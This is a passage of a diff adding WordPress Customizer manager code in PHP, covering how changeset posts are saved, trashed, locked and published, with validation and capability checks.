+			wp_send_json_success( $response );
+		}
+	}
+
+	/**
+	 * Save the post for the loaded changeset.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $args {
+	 *     Args for changeset post.
+	 *
+	 *     @type array  $data            Optional additional changeset data. Values will be merged on top of any existing post values.
+	 *     @type string $status          Post status. Optional. If supplied, the save will be transactional and a post revision will be allowed.
+	 *     @type string $title           Post title. Optional.
+	 *     @type string $date_gmt        Date in GMT. Optional.
+	 *     @type int    $user_id         ID for user who is saving the changeset. Optional, defaults to the current user ID.
+	 *     @type bool   $starter_content Whether the data is starter content. If false (default), then $starter_content will be cleared for any $data being saved.
+	 *     @type bool   $autosave        Whether this is a request to create an autosave revision.
+	 * }
+	 *
+	 * @return array|WP_Error Returns array on success and WP_Error with array data on error.
+	 */
+	function save_changeset_post( $args = array() ) {
+
+		$args = array_merge(
+			array(
+				'status' => null,
+				'title' => null,
+				'data' => array(),
+				'date_gmt' => null,
+				'user_id' => get_current_user_id(),
+				'starter_content' => false,
+				'autosave' => false,
+			),
+			$args
+		);
+
+		$changeset_post_id = $this->changeset_post_id();
+		$existing_changeset_data = array();
+		if ( $changeset_post_id ) {
+			$existing_status = get_post_status( $changeset_post_id );
+			if ( 'publish' === $existing_status || 'trash' === $existing_status ) {
+				return new WP_Error(
+					'changeset_already_published',
+					__( 'The previous set of changes has already been published. Please try saving your current set of changes again.' ),
+					array(
+						'next_changeset_uuid' => wp_generate_uuid4(),
+					)
+				);
+			}
+
+			$existing_changeset_data = $this->get_changeset_post_data( $changeset_post_id );
+			if ( is_wp_error( $existing_changeset_data ) ) {
+				return $existing_changeset_data;
+			}
+		}
+
+		// Fail if attempting to publish but publish hook is missing.
+		if ( 'publish' === $args['status'] && false === has_action( 'transition_post_status', '_wp_customize_publish_changeset' ) ) {
+			return new WP_Error( 'missing_publish_callback' );
+		}
+
+		// Validate date.
+		$now = gmdate( 'Y-m-d H:i:59' );
+		if ( $args['date_gmt'] ) {
+			$is_future_dated = ( mysql2date( 'U', $args['date_gmt'], false ) > mysql2date( 'U', $now, false ) );
+			if ( ! $is_future_dated ) {
+				return new WP_Error( 'not_future_date', __( 'You must supply a future date to schedule.' ) ); // Only future dates are allowed.
+			}
+
+			if ( ! $this->is_theme_active() && ( 'future' === $args['status'] || $is_future_dated ) ) {
+				return new WP_Error( 'cannot_schedule_theme_switches' ); // This should be allowed in the future, when theme is a regular setting.
+			}
+			$will_remain_auto_draft = ( ! $args['status'] && ( ! $changeset_post_id || 'auto-draft' === get_post_status( $changeset_post_id ) ) );
+			if ( $will_remain_auto_draft ) {
+				return new WP_Error( 'cannot_supply_date_for_auto_draft_changeset' );
+			}
+		} elseif ( $changeset_post_id && 'future' === $args['status'] ) {
+
+			// Fail if the new status is future but the existing post's date is not in the future.
+			$changeset_post = get_post( $changeset_post_id );
+			if ( mysql2date( 'U', $changeset_post->post_date_gmt, false ) <= mysql2date( 'U', $now, false ) ) {
+				return new WP_Error( 'not_future_date', __( 'You must supply a future date to schedule.' ) );
+			}
+		}
+
+		if ( ! empty( $is_future_dated ) && 'publish' === $args['status'] ) {
+			$args['status'] = 'future';
+		}
+
+		// Validate autosave param. See _wp_post_revision_fields() for why these fields are disallowed.
+		if ( $args['autosave'] ) {
+			if ( $args['date_gmt'] ) {
+				return new WP_Error( 'illegal_autosave_with_date_gmt' );
+			} elseif ( $args['status'] ) {
+				return new WP_Error( 'illegal_autosave_with_status' );
+			} elseif ( $args['user_id'] && get_current_user_id() !== $args['user_id'] ) {
+				return new WP_Error( 'illegal_autosave_with_non_current_user' );
+			}
+		}
+
+		// The request was made via wp.customize.previewer.save().
+		$update_transactionally = (bool) $args['status'];
+		$allow_revision = (bool) $args['status'];
+
+		// Amend post values with any supplied data.
+		foreach ( $args['data'] as $setting_id => $setting_params ) {
+			if ( is_array( $setting_params ) && array_key_exists( 'value', $setting_params ) ) {
+				$this->set_post_value( $setting_id, $setting_params['value'] ); // Add to post values so that they can be validated and sanitized.
+			}
+		}
+
+		// Note that in addition to post data, this will include any stashed theme mods.
+		$post_values = $this->unsanitized_post_values( array(
+			'exclude_changeset' => true,
+			'exclude_post_data' => false,
+		) );
+		$this->add_dynamic_settings( array_keys( $post_values ) ); // Ensure settings get created even if they lack an input value.
+
+		/*
+		 * Get list of IDs for settings that have values different from what is currently
+		 * saved in the changeset. By skipping any values that are already the same, the
+		 * subset of changed settings can be passed into validate_setting_values to prevent
+		 * an underprivileged modifying a single setting for which they have the capability
+		 * from being blocked from saving. This also prevents a user from touching of the
+		 * previous saved settings and overriding the associated user_id if they made no change.
+		 */
+		$changed_setting_ids = array();
+		foreach ( $post_values as $setting_id => $setting_value ) {
+			$setting = $this->get_setting( $setting_id );
+
+			if ( $setting && 'theme_mod' === $setting->type ) {
+				$prefixed_setting_id = $this->get_stylesheet() . '::' . $setting->id;
+			} else {
+				$prefixed_setting_id = $setting_id;
+			}
+
+			$is_value_changed = (
+				! isset( $existing_changeset_data[ $prefixed_setting_id ] )
+				||
+				! array_key_exists( 'value', $existing_changeset_data[ $prefixed_setting_id ] )
+				||
+				$existing_changeset_data[ $prefixed_setting_id ]['value'] !== $setting_value
+			);
+			if ( $is_value_changed ) {
+				$changed_setting_ids[] = $setting_id;
+			}
+		}
+
+		/**
+		 * Fires before save validation happens.
+		 *
+		 * Plugins can add just-in-time {@see 'customize_validate_{$this->ID}'} filters
+		 * at this point to catch any settings registered after `customize_register`.
+		 * The dynamic portion of the hook name, `$this->ID` refers to the setting ID.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_save_validation_before', $this );
+
+		// Validate settings.
+		$validated_values = array_merge(
+			array_fill_keys( array_keys( $args['data'] ), null ), // Make sure existence/capability checks are done on value-less setting updates.
+			$post_values
+		);
+		$setting_validities = $this->validate_setting_values( $validated_values, array(
+			'validate_capability' => true,
+			'validate_existence' => true,
+		) );
+		$invalid_setting_count = count( array_filter( $setting_validities, 'is_wp_error' ) );
+
+		/*
+		 * Short-circuit if there are invalid settings the update is transactional.
+		 * A changeset update is transactional when a status is supplied in the request.
+		 */
+		if ( $update_transactionally && $invalid_setting_count > 0 ) {
+			$response = array(
+				'setting_validities' => $setting_validities,
+				/* translators: %s: number of invalid settings */
+				'message' => sprintf( _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', $invalid_setting_count ), number_format_i18n( $invalid_setting_count ) ),
+			);
+			return new WP_Error( 'transaction_fail', '', $response );
+		}
+
+		// Obtain/merge data for changeset.
+		$original_changeset_data = $this->get_changeset_post_data( $changeset_post_id );
+		$data = $original_changeset_data;
+		if ( is_wp_error( $data ) ) {
+			$data = array();
+		}
+
+		// Ensure that all post values are included in the changeset data.
+		foreach ( $post_values as $setting_id => $post_value ) {
+			if ( ! isset( $args['data'][ $setting_id ] ) ) {
+				$args['data'][ $setting_id ] = array();
+			}
+			if ( ! isset( $args['data'][ $setting_id ]['value'] ) ) {
+				$args['data'][ $setting_id ]['value'] = $post_value;
+			}
+		}
+
+		foreach ( $args['data'] as $setting_id => $setting_params ) {
+			$setting = $this->get_setting( $setting_id );
+			if ( ! $setting || ! $setting->check_capabilities() ) {
+				continue;
+			}
+
+			// Skip updating changeset for invalid setting values.
+			if ( isset( $setting_validities[ $setting_id ] ) && is_wp_error( $setting_validities[ $setting_id ] ) ) {
+				continue;
+			}
+
+			$changeset_setting_id = $setting_id;
+			if ( 'theme_mod' === $setting->type ) {
+				$changeset_setting_id = sprintf( '%s::%s', $this->get_stylesheet(), $setting_id );
+			}
+
+			if ( null === $setting_params ) {
+				// Remove setting from changeset entirely.
+				unset( $data[ $changeset_setting_id ] );
+			} else {
+
+				if ( ! isset( $data[ $changeset_setting_id ] ) ) {
+					$data[ $changeset_setting_id ] = array();
+				}
+
+				// Merge any additional setting params that have been supplied with the existing params.
+				$merged_setting_params = array_merge( $data[ $changeset_setting_id ], $setting_params );
+
+				// Skip updating setting params if unchanged (ensuring the user_id is not overwritten).
+				if ( $data[ $changeset_setting_id ] === $merged_setting_params ) {
+					continue;
+				}
+
+				$data[ $changeset_setting_id ] = array_merge(
+					$merged_setting_params,
+					array(
+						'type' => $setting->type,
+						'user_id' => $args['user_id'],
+						'date_modified_gmt' => current_time( 'mysql', true ),
+					)
+				);
+
+				// Clear starter_content flag in data if changeset is not explicitly being updated for starter content.
+				if ( empty( $args['starter_content'] ) ) {
+					unset( $data[ $changeset_setting_id ]['starter_content'] );
+				}
+			}
+		}
+
+		$filter_context = array(
+			'uuid' => $this->changeset_uuid(),
+			'title' => $args['title'],
+			'status' => $args['status'],
+			'date_gmt' => $args['date_gmt'],
+			'post_id' => $changeset_post_id,
+			'previous_data' => is_wp_error( $original_changeset_data ) ? array() : $original_changeset_data,
+			'manager' => $this,
+		);
+
+		/**
+		 * Filters the settings' data that will be persisted into the changeset.
+		 *
+		 * Plugins may amend additional data (such as additional meta for settings) into the changeset with this filter.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param array $data Updated changeset data, mapping setting IDs to arrays containing a $value item and optionally other metadata.
+		 * @param array $context {
+		 *     Filter context.
+		 *
+		 *     @type string               $uuid          Changeset UUID.
+		 *     @type string               $title         Requested title for the changeset post.
+		 *     @type string               $status        Requested status for the changeset post.
+		 *     @type string               $date_gmt      Requested date for the changeset post in MySQL format and GMT timezone.
+		 *     @type int|false            $post_id       Post ID for the changeset, or false if it doesn't exist yet.
+		 *     @type array                $previous_data Previous data contained in the changeset.
+		 *     @type WP_Customize_Manager $manager       Manager instance.
+		 * }
+		 */
+		$data = apply_filters( 'customize_changeset_save_data', $data, $filter_context );
+
+		// Switch theme if publishing changes now.
+		if ( 'publish' === $args['status'] && ! $this->is_theme_active() ) {
+			// Temporarily stop previewing the theme to allow switch_themes() to operate properly.
+			$this->stop_previewing_theme();
+			switch_theme( $this->get_stylesheet() );
+			update_option( 'theme_switched_via_customizer', true );
+			$this->start_previewing_theme();
+		}
+
+		// Gather the data for wp_insert_post()/wp_update_post().
+		$json_options = 0;
+		if ( defined( 'JSON_UNESCAPED_SLASHES' ) ) {
+			$json_options |= JSON_UNESCAPED_SLASHES; // Introduced in PHP 5.4. This is only to improve readability as slashes needn't be escaped in storage.
+		}
+		$json_options |= JSON_PRETTY_PRINT; // Also introduced in PHP 5.4, but WP defines constant for back compat. See WP Trac #30139.
+		$post_array = array(
+			'post_content' => wp_json_encode( $data, $json_options ),
+		);
+		if ( $args['title'] ) {
+			$post_array['post_title'] = $args['title'];
+		}
+		if ( $changeset_post_id ) {
+			$post_array['ID'] = $changeset_post_id;
+		} else {
+			$post_array['post_type'] = 'customize_changeset';
+			$post_array['post_name'] = $this->changeset_uuid();
+			$post_array['post_status'] = 'auto-draft';
+		}
+		if ( $args['status'] ) {
+			$post_array['post_status'] = $args['status'];
+		}
+
+		// Reset post date to now if we are publishing, otherwise pass post_date_gmt and translate for post_date.
+		if ( 'publish' === $args['status'] ) {
+			$post_array['post_date_gmt'] = '0000-00-00 00:00:00';
+			$post_array['post_date'] = '0000-00-00 00:00:00';
+		} elseif ( $args['date_gmt'] ) {
+			$post_array['post_date_gmt'] = $args['date_gmt'];
+			$post_array['post_date'] = get_date_from_gmt( $args['date_gmt'] );
+		} elseif ( $changeset_post_id && 'auto-draft' === get_post_status( $changeset_post_id ) ) {
+			/*
+			 * Keep bumping the date for the auto-draft whenever it is modified;
+			 * this extends its life, preserving it from garbage-collection via
+			 * wp_delete_auto_drafts().
+			 */
+			$post_array['post_date'] = current_time( 'mysql' );
+			$post_array['post_date_gmt'] = '';
+		}
+
+		$this->store_changeset_revision = $allow_revision;
+		add_filter( 'wp_save_post_revision_post_has_changed', array( $this, '_filter_revision_post_has_changed' ), 5, 3 );
+
+		/*
+		 * Update the changeset post. The publish_customize_changeset action will cause the settings in the
+		 * changeset to be saved via WP_Customize_Setting::save(). Updating a post with publish status will
+		 * trigger WP_Customize_Manager::publish_changeset_values().
+		 */
+		add_filter( 'wp_insert_post_data', array( $this, 'preserve_insert_changeset_post_content' ), 5, 3 );
+		if ( $changeset_post_id ) {
+			if ( $args['autosave'] && 'auto-draft' !== get_post_status( $changeset_post_id ) ) {
+				// See _wp_translate_postdata() for why this is required as it will use the edit_post meta capability.
+				add_filter( 'map_meta_cap', array( $this, 'grant_edit_post_capability_for_changeset' ), 10, 4 );
+				$post_array['post_ID'] = $post_array['ID'];
+				$post_array['post_type'] = 'customize_changeset';
+				$r = wp_create_post_autosave( wp_slash( $post_array ) );
+				remove_filter( 'map_meta_cap', array( $this, 'grant_edit_post_capability_for_changeset' ), 10 );
+			} else {
+				$post_array['edit_date'] = true; // Prevent date clearing.
+				$r = wp_update_post( wp_slash( $post_array ), true );
+
+				// Delete autosave revision for user when the changeset is updated.
+				if ( ! empty( $args['user_id'] ) ) {
+					$autosave_draft = wp_get_post_autosave( $changeset_post_id, $args['user_id'] );
+					if ( $autosave_draft ) {
+						wp_delete_post( $autosave_draft->ID, true );
+					}
+				}
+			}
+		} else {
+			$r = wp_insert_post( wp_slash( $post_array ), true );
+			if ( ! is_wp_error( $r ) ) {
+				$this->_changeset_post_id = $r; // Update cached post ID for the loaded changeset.
+			}
+		}
+
+		remove_filter( 'wp_insert_post_data', array( $this, 'preserve_insert_changeset_post_content' ), 5 );
+
+		$this->_changeset_data = null; // Reset so WP_Customize_Manager::changeset_data() will re-populate with updated contents.
+
+		remove_filter( 'wp_save_post_revision_post_has_changed', array( $this, '_filter_revision_post_has_changed' ) );
+
+		$response = array(
+			'setting_validities' => $setting_validities,
+		);
+
+		if ( is_wp_error( $r ) ) {
+			$response['changeset_post_save_failure'] = $r->get_error_code();
+			return new WP_Error( 'changeset_post_save_failure', '', $response );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Preserve the initial JSON post_content passed to save into the post.
+	 *
+	 * This is needed to prevent KSES and other {@see 'content_save_pre'} filters
+	 * from corrupting JSON data.
+	 *
+	 * Note that WP_Customize_Manager::validate_setting_values() have already
+	 * run on the setting values being serialized as JSON into the post content
+	 * so it is pre-sanitized.
+	 *
+	 * Also, the sanitization logic is re-run through the respective
+	 * WP_Customize_Setting::sanitize() method when being read out of the
+	 * changeset, via WP_Customize_Manager::post_value(), and this sanitized
+	 * value will also be sent into WP_Customize_Setting::update() for
+	 * persisting to the DB.
+	 *
+	 * Multiple users can collaborate on a single changeset, where one user may
+	 * have the unfiltered_html capability but another may not. A user with
+	 * unfiltered_html may add a script tag to some field which needs to be kept
+	 * intact even when another user updates the changeset to modify another field
+	 * when they do not have unfiltered_html.
+	 *
+	 * @since 5.4.1
+	 *
+	 * @param array $data                An array of slashed and processed post data.
+	 * @param array $postarr             An array of sanitized (and slashed) but otherwise unmodified post data.
+	 * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed post data as originally passed to wp_insert_post().
+	 * @return array Filtered post data.
+	 */
+	public function preserve_insert_changeset_post_content( $data, $postarr, $unsanitized_postarr ) {
+		if (
+			isset( $data['post_type'] ) &&
+			isset( $unsanitized_postarr['post_content'] ) &&
+			'customize_changeset' === $data['post_type'] ||
+			(
+				'revision' === $data['post_type'] &&
+				! empty( $data['post_parent'] ) &&
+				'customize_changeset' === get_post_type( $data['post_parent'] )
+			)
+		) {
+			$data['post_content'] = $unsanitized_postarr['post_content'];
+		}
+		return $data;
+	}
+
+	/**
+	 * Trash or delete a changeset post.
+	 *
+	 * The following re-formulates the logic from `wp_trash_post()` as done in
+	 * `wp_publish_post()`. The reason for bypassing `wp_trash_post()` is that it
+	 * will mutate the the `post_content` and the `post_name` when they should be
+	 * untouched.
+	 *
+	 * @since 4.9.0
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 * @see wp_trash_post()
+	 *
+	 * @param int|WP_Post $post The changeset post.
+	 * @return mixed A WP_Post object for the trashed post or an empty value on failure.
+	 */
+	public function trash_changeset_post( $post ) {
+		global $wpdb;
+
+		$post = get_post( $post );
+
+		if ( ! ( $post instanceof WP_Post ) ) {
+			return $post;
+		}
+		$post_id = $post->ID;
+
+		if ( ! EMPTY_TRASH_DAYS ) {
+			return wp_delete_post( $post_id, true );
+		}
+
+		if ( 'trash' === get_post_status( $post ) ) {
+			return false;
+		}
+
+		/** This filter is documented in wp-includes/post.php */
+		$check = apply_filters( 'pre_trash_post', null, $post );
+		if ( null !== $check ) {
+			return $check;
+		}
+
+		/** This action is documented in wp-includes/post.php */
+		do_action( 'wp_trash_post', $post_id );
+
+		add_post_meta( $post_id, '_wp_trash_meta_status', $post->post_status );
+		add_post_meta( $post_id, '_wp_trash_meta_time', time() );
+
+		$old_status = $post->post_status;
+		$new_status = 'trash';
+		$wpdb->update( $wpdb->posts, array( 'post_status' => $new_status ), array( 'ID' => $post->ID ) );
+		clean_post_cache( $post->ID );
+
+		$post->post_status = $new_status;
+		wp_transition_post_status( $new_status, $old_status, $post );
+
+		/** This action is documented in wp-includes/post.php */
+		do_action( 'edit_post', $post->ID, $post );
+
+		/** This action is documented in wp-includes/post.php */
+		do_action( "save_post_{$post->post_type}", $post->ID, $post, true );
+
+		/** This action is documented in wp-includes/post.php */
+		do_action( 'save_post', $post->ID, $post, true );
+
+		/** This action is documented in wp-includes/post.php */
+		do_action( 'wp_insert_post', $post->ID, $post, true );
+
+		wp_trash_post_comments( $post_id );
+
+		/** This action is documented in wp-includes/post.php */
+		do_action( 'trashed_post', $post_id );
+
+		return $post;
+	}
+
+	/**
+	 * Handle request to trash a changeset.
+	 *
+	 * @since 4.9.0
+	 */
+	public function handle_changeset_trash_request() {
+		if ( ! is_user_logged_in() ) {
+			wp_send_json_error( 'unauthenticated' );
+		}
+
+		if ( ! $this->is_preview() ) {
+			wp_send_json_error( 'not_preview' );
+		}
+
+		if ( ! check_ajax_referer( 'trash_customize_changeset', 'nonce', false ) ) {
+			wp_send_json_error( array(
+				'code' => 'invalid_nonce',
+				'message' => __( 'There was an authentication problem. Please reload and try again.' ),
+			) );
+		}
+
+		$changeset_post_id = $this->changeset_post_id();
+
+		if ( ! $changeset_post_id ) {
+			wp_send_json_error( array(
+				'message' => __( 'No changes saved yet, so there is nothing to trash.' ),
+				'code' => 'non_existent_changeset',
+			) );
+			return;
+		}
+
+		if ( $changeset_post_id && ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->delete_post, $changeset_post_id ) ) {
+			wp_send_json_error( array(
+				'code' => 'changeset_trash_unauthorized',
+				'message' => __( 'Unable to trash changes.' ),
+			) );
+		}
+
+		if ( 'trash' === get_post_status( $changeset_post_id ) ) {
+			wp_send_json_error( array(
+				'message' => __( 'Changes have already been trashed.' ),
+				'code' => 'changeset_already_trashed',
+			) );
+			return;
+		}
+
+		$r = $this->trash_changeset_post( $changeset_post_id );
+		if ( ! ( $r instanceof WP_Post ) ) {
+			wp_send_json_error( array(
+				'code' => 'changeset_trash_failure',
+				'message' => __( 'Unable to trash changes.' ),
+			) );
+		}
+
+		wp_send_json_success( array(
+			'message' => __( 'Changes trashed successfully.' ),
+		) );
+	}
+
+	/**
+	 * Re-map 'edit_post' meta cap for a customize_changeset post to be the same as 'customize' maps.
+	 *
+	 * There is essentially a "meta meta" cap in play here, where 'edit_post' meta cap maps to
+	 * the 'customize' meta cap which then maps to 'edit_theme_options'. This is currently
+	 * required in core for `wp_create_post_autosave()` because it will call
+	 * `_wp_translate_postdata()` which in turn will check if a user can 'edit_post', but the
+	 * the caps for the customize_changeset post type are all mapping to the meta capability.
+	 * This should be able to be removed once #40922 is addressed in core.
+	 *
+	 * @since 4.9.0
+	 * @link https://core.trac.wordpress.org/ticket/40922
+	 * @see WP_Customize_Manager::save_changeset_post()
+	 * @see _wp_translate_postdata()
+	 *
+	 * @param array  $caps    Returns the user's actual capabilities.
+	 * @param string $cap     Capability name.
+	 * @param int    $user_id The user ID.
+	 * @param array  $args    Adds the context to the cap. Typically the object ID.
+	 * @return array Capabilities.
+	 */
+	public function grant_edit_post_capability_for_changeset( $caps, $cap, $user_id, $args ) {
+		if ( 'edit_post' === $cap && ! empty( $args[0] ) && 'customize_changeset' === get_post_type( $args[0] ) ) {
+			$post_type_obj = get_post_type_object( 'customize_changeset' );
+			$caps = map_meta_cap( $post_type_obj->cap->$cap, $user_id );
+		}
+		return $caps;
+	}
+
+	/**
+	 * Marks the changeset post as being currently edited by the current user.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param int  $changeset_post_id Changeset post id.
+	 * @param bool $take_over Take over the changeset, default is false.
+	 */
+	public function set_changeset_lock( $changeset_post_id, $take_over = false ) {
+		if ( $changeset_post_id ) {
+			$can_override = ! (bool) get_post_meta( $changeset_post_id, '_edit_lock', true );
+
+			if ( $take_over ) {
+				$can_override = true;
+			}
+
+			if ( $can_override ) {
+				$lock = sprintf( '%s:%s', time(), get_current_user_id() );
+				update_post_meta( $changeset_post_id, '_edit_lock', $lock );
+			} else {
+				$this->refresh_changeset_lock( $changeset_post_id );
+			}
+		}
+	}
+
+	/**
+	 * Refreshes changeset lock with the current time if current user edited the changeset before.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param int $changeset_post_id Changeset post id.
+	 */
+	public function refresh_changeset_lock( $changeset_post_id ) {
+		if ( ! $changeset_post_id ) {
+			return;
+		}
+		$lock = get_post_meta( $changeset_post_id, '_edit_lock', true );
+		$lock = explode( ':', $lock );
+
+		if ( $lock && ! empty( $lock[1] ) ) {
+			$user_id = intval( $lock[1] );
+			$current_user_id = get_current_user_id();
+			if ( $user_id === $current_user_id ) {
+				$lock = sprintf( '%s:%s', time(), $user_id );
+				update_post_meta( $changeset_post_id, '_edit_lock', $lock );
+			}
+		}
+	}
+
+	/**
+	 * Filter heartbeat settings for the Customizer.
+	 *
+	 * @since 4.9.0
+	 * @param array $settings Current settings to filter.
+	 * @return array Heartbeat settings.
+	 */
+	public function add_customize_screen_to_heartbeat_settings( $settings ) {
+		global $pagenow;
+		if ( 'customize.php' === $pagenow ) {
+			$settings['screenId'] = 'customize';
+		}
+		return $settings;
+	}
+
+	/**
+	 * Get lock user data.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param int $user_id User ID.
+	 * @return array|null User data formatted for client.
+	 */
+	protected function get_lock_user_data( $user_id ) {
+		if ( ! $user_id ) {
+			return null;
+		}
+		$lock_user = get_userdata( $user_id );
+		if ( ! $lock_user ) {
+			return null;
+		}
+		return array(
+			'id' => $lock_user->ID,
+			'name' => $lock_user->display_name,
+			'avatar' => get_avatar_url( $lock_user->ID, array( 'size' => 128 ) ),
+		);
+	}
+
+	/**
+	 * Check locked changeset with heartbeat API.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array  $response  The Heartbeat response.
+	 * @param array  $data      The $_POST data sent.
+	 * @param string $screen_id The screen id.
+	 * @return array The Heartbeat response.
+	 */
+	public function check_changeset_lock_with_heartbeat( $response, $data, $screen_id ) {
+		if ( isset( $data['changeset_uuid'] ) ) {
+			$changeset_post_id = $this->find_changeset_post_id( $data['changeset_uuid'] );
+		} else {
+			$changeset_post_id = $this->changeset_post_id();
+		}
+
+		if (
+			array_key_exists( 'check_changeset_lock', $data )
+			&& 'customize' === $screen_id
+			&& $changeset_post_id
+			&& current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id )
+		) {
+			$lock_user_id = wp_check_post_lock( $changeset_post_id );
+
+			if ( $lock_user_id ) {
+				$response['customize_changeset_lock_user'] = $this->get_lock_user_data( $lock_user_id );
+			} else {
+
+				// Refreshing time will ensure that the user is sitting on customizer and has not closed the customizer tab.
+				$this->refresh_changeset_lock( $changeset_post_id );
+			}
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Removes changeset lock when take over request is sent via Ajax.
+	 *
+	 * @since 4.9.0
+	 */
+	public function handle_override_changeset_lock_request() {
+		if ( ! $this->is_preview() ) {
+			wp_send_json_error( 'not_preview', 400 );
+		}
+
+		if ( ! check_ajax_referer( 'customize_override_changeset_lock', 'nonce', false ) ) {
+			wp_send_json_error( array(
+				'code' => 'invalid_nonce',
+				'message' => __( 'Security check failed.' ),
+			) );
+		}
+
+		$changeset_post_id = $this->changeset_post_id();
+
+		if ( empty( $changeset_post_id ) ) {
+			wp_send_json_error( array(
+				'code' => 'no_changeset_found_to_take_over',
+				'message' => __( 'No changeset found to take over' ),
+			) );
+		}
+
+		if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) ) {
+			wp_send_json_error( array(
+				'code' => 'cannot_remove_changeset_lock',
+				'message' => __( 'Sorry, you are not allowed to take over.' ),
+			) );
+		}
+
+		$this->set_changeset_lock( $changeset_post_id, true );
+
+		wp_send_json_success( 'changeset_taken_over' );
+	}
+
+	/**
+	 * Whether a changeset revision should be made.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	protected $store_changeset_revision;
+
+	/**
+	 * Filters whether a changeset has changed to create a new revision.
+	 *
+	 * Note that this will not be called while a changeset post remains in auto-draft status.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param bool    $post_has_changed Whether the post has changed.
+	 * @param WP_Post $last_revision    The last revision post object.
+	 * @param WP_Post $post             The post object.
+	 *
+	 * @return bool Whether a revision should be made.
+	 */
+	public function _filter_revision_post_has_changed( $post_has_changed, $last_revision, $post ) {
+		unset( $last_revision );
+		if ( 'customize_changeset' === $post->post_type ) {
+			$post_has_changed = $this->store_changeset_revision;
+		}
+		return $post_has_changed;
+	}
+
+	/**
+	 * Publish changeset values.
+	 *
+	 * This will the values contained in a changeset, even changesets that do not
+	 * correspond to current manager instance. This is called by
+	 * `_wp_customize_publish_changeset()` when a customize_changeset post is
+	 * transitioned to the `publish` status. As such, this method should not be
+	 * called directly and instead `wp_publish_post()` should be used.
+	 *
+	 * Please note that if the settings in the changeset are for a non-activated
+	 * theme, the theme must first be switched to (via `switch_theme()`) before
+	 * invoking this method.
+	 *
+	 * @since 4.7.0
+	 * @see _wp_customize_publish_changeset()
+	 * @global wpdb $wpdb
+	 *
+	 * @param int $changeset_post_id ID for customize_changeset post. Defaults to the changeset for the current manager instance.
+	 * @return true|WP_Error True or error info.
+	 */
+	public function _publish_changeset_values( $changeset_post_id ) {
+		global $wpdb;
+
+		$publishing_changeset_data = $this->get_changeset_post_data( $changeset_post_id );
+		if ( is_wp_error( $publishing_changeset_data ) ) {
+			return $publishing_changeset_data;
+		}
+
+		$changeset_post = get_post( $changeset_post_id );
+
+		/*
+		 * Temporarily override the changeset context so that it will be read
+		 * in calls to unsanitized_post_values() and so that it will be available
+		 * on the $wp_customize object passed to hooks during the save logic.
+		 */
+		$previous_changeset_post_id = $this->_changeset_post_id;
+		$this->_changeset_post_id   = $changeset_post_id;
+		$previous_changeset_uuid    = $this->_changeset_uuid;
+		$this->_changeset_uuid      = $changeset_post->post_name;
+		$previous_changeset_data    = $this->_changeset_data;
+		$this->_changeset_data      = $publishing_changeset_data;
+
+		// Parse changeset data to identify theme mod settings and user IDs associated with settings to be saved.
+		$setting_user_ids = array();
+		$theme_mod_settings = array();
+		$namespace_pattern = '/^(?P<stylesheet>.+?)::(?P<setting_id>.+)$/';
+		$matches = array();
+		foreach ( $this->_changeset_data as $raw_setting_id => $setting_params ) {
+			$actual_setting_id = null;
+			$is_theme_mod_setting = (
+				isset( $setting_params['value'] )
+				&&
+				isset( $setting_params['type'] )
+				&&
+				'theme_mod' === $setting_params['type']
+				&&
+				preg_match( $namespace_pattern, $raw_setting_id, $matches )
+			);
+			if ( $is_theme_mod_setting ) {
+				if ( ! isset( $theme_mod_settings[ $matches['stylesheet'] ] ) ) {
+					$theme_mod_settings[ $matches['stylesheet'] ] = array();
+				}
+				$theme_mod_settings[ $matches['stylesheet'] ][ $matches['setting_id'] ] = $setting_params;
+
+				if ( $this->get_stylesheet() === $matches['stylesheet'] ) {
+					$actual_setting_id = $matches['setting_id'];
+				}
+			} else {
+				$actual_setting_id = $raw_setting_id;
+			}
+
+			// Keep track of the user IDs for settings actually for this theme.
+			if ( $actual_setting_id && isset( $setting_params['user_id'] ) ) {
+				$setting_user_ids[ $actual_setting_id ] = $setting_params['user_id'];
+			}
+		}
+
+		$changeset_setting_values = $this->unsanitized_post_values( array(
+			'exclude_post_data' => true,
+			'exclude_changeset' => false,
+		) );
+		$changeset_setting_ids = array_keys( $changeset_setting_values );
+		$this->add_dynamic_settings( $changeset_setting_ids );
+
+		/**
+		 * Fires once the theme has switched in the Customizer, but before settings
+		 * have been saved.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $manager WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_save', $this );
+
+		/*
+		 * Ensure that all settings will allow themselves to be saved. Note that
+		 * this is safe because the setting would have checked the capability
+		 * when the setting value was written into the changeset. So this is why
+		 * an additional capability check is not required here.
+		 */
+		$original_setting_capabilities = array();
+		foreach ( $changeset_setting_ids as $setting_id ) {
+			$setting = $this->get_setting( $setting_id );
+			if ( $setting && ! isset( $setting_user_ids[ $setting_id ] ) ) {
+				$original_setting_capabilities[ $setting->id ] = $setting->capability;
+				$setting->capability = 'exist';
+			}
+		}
+
+		$original_user_id = get_current_user_id();
+		foreach ( $changeset_setting_ids as $setting_id ) {
+			$setting = $this->get_setting( $setting_id );
+			if ( $setting ) {
+				/*
+				 * Set the current user to match the user who saved the value into
+				 * the changeset so that any filters that apply during the save
+				 * process will respect the original user's capabilities. This
+				 * will ensure, for example, that KSES won't strip unsafe HTML
+				 * when a scheduled changeset publishes via WP Cron.
+				 */
+				if ( isset( $setting_user_ids[ $setting_id ] ) ) {
+					wp_set_current_user( $setting_user_ids[ $setting_id ] );
+				} else {
+					wp_set_current_user( $original_user_id );
+				}
+
+				$setting->save();
